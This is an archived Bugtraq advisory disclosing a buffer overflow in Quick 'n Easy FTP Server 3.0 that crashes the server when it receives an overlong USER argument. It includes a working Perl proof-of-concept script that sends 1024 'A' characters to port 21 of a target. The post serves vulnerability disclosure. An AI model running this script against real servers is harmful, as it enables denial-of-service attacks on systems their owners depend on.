[40061] in bugtraq
Quick 'n Easy FTP Server 3.0 pro / lite (buffer overflow
daemon@ATHENA.MIT.EDU (matiteman@securityfocus.com,"[at]")
Tue Aug 2 13:53:53 2005
Date: 2 Aug 2005 13:58:47 -0000
Message-ID: <20050802135847.30581.qmail@securityfocus.com>
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From: matiteman@securityfocus.com, "[at]"@securityfocus.com,
hotmail.com@securityfocus.com
To: bugtraq@securityfocus.com
Details:
========
Input to the user commands is not properly checked
and/or filtered. Issuing a long argument to the user (about 1024 caracteres)
commands will cause the corresponding process to die without any error message.
this vulnerabilities exist in both the professionnal version 3.0 and lite version 3.0
Exploits:
========
Run the following PERL script against the server. The corresponding
process will die.
#=====testserver.pl =====
#
# Usage: testserver.pl <ip>
# testserver.pl 127.0.0.1
# bug discovered by : matiteman
# exploit coded by : matiteman
# thanks to : Reed Arvin (peachfuzz)
# Quick 'n Easy FTP Server 3.0 (pro and lite)
# Download:
# http://www.pablosoftwaresolutions.com/
#
##########################################
use IO::Socket;
use strict;
my($socket) = "";
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "21",
Proto => "TCP"))
{
print "Attempting to kill Quick 'n Easy FTP Server 3.0 (pro / lite) at $ARGV[0]:21...\n";
sleep(1);
print $socket "user " . "A" x 1024 . "\r\n";
sleep(1);
close($socket);
}
else
{
print "Cannot connect to $ARGV[0]:21\n";
}
#===== testserver.pl =====
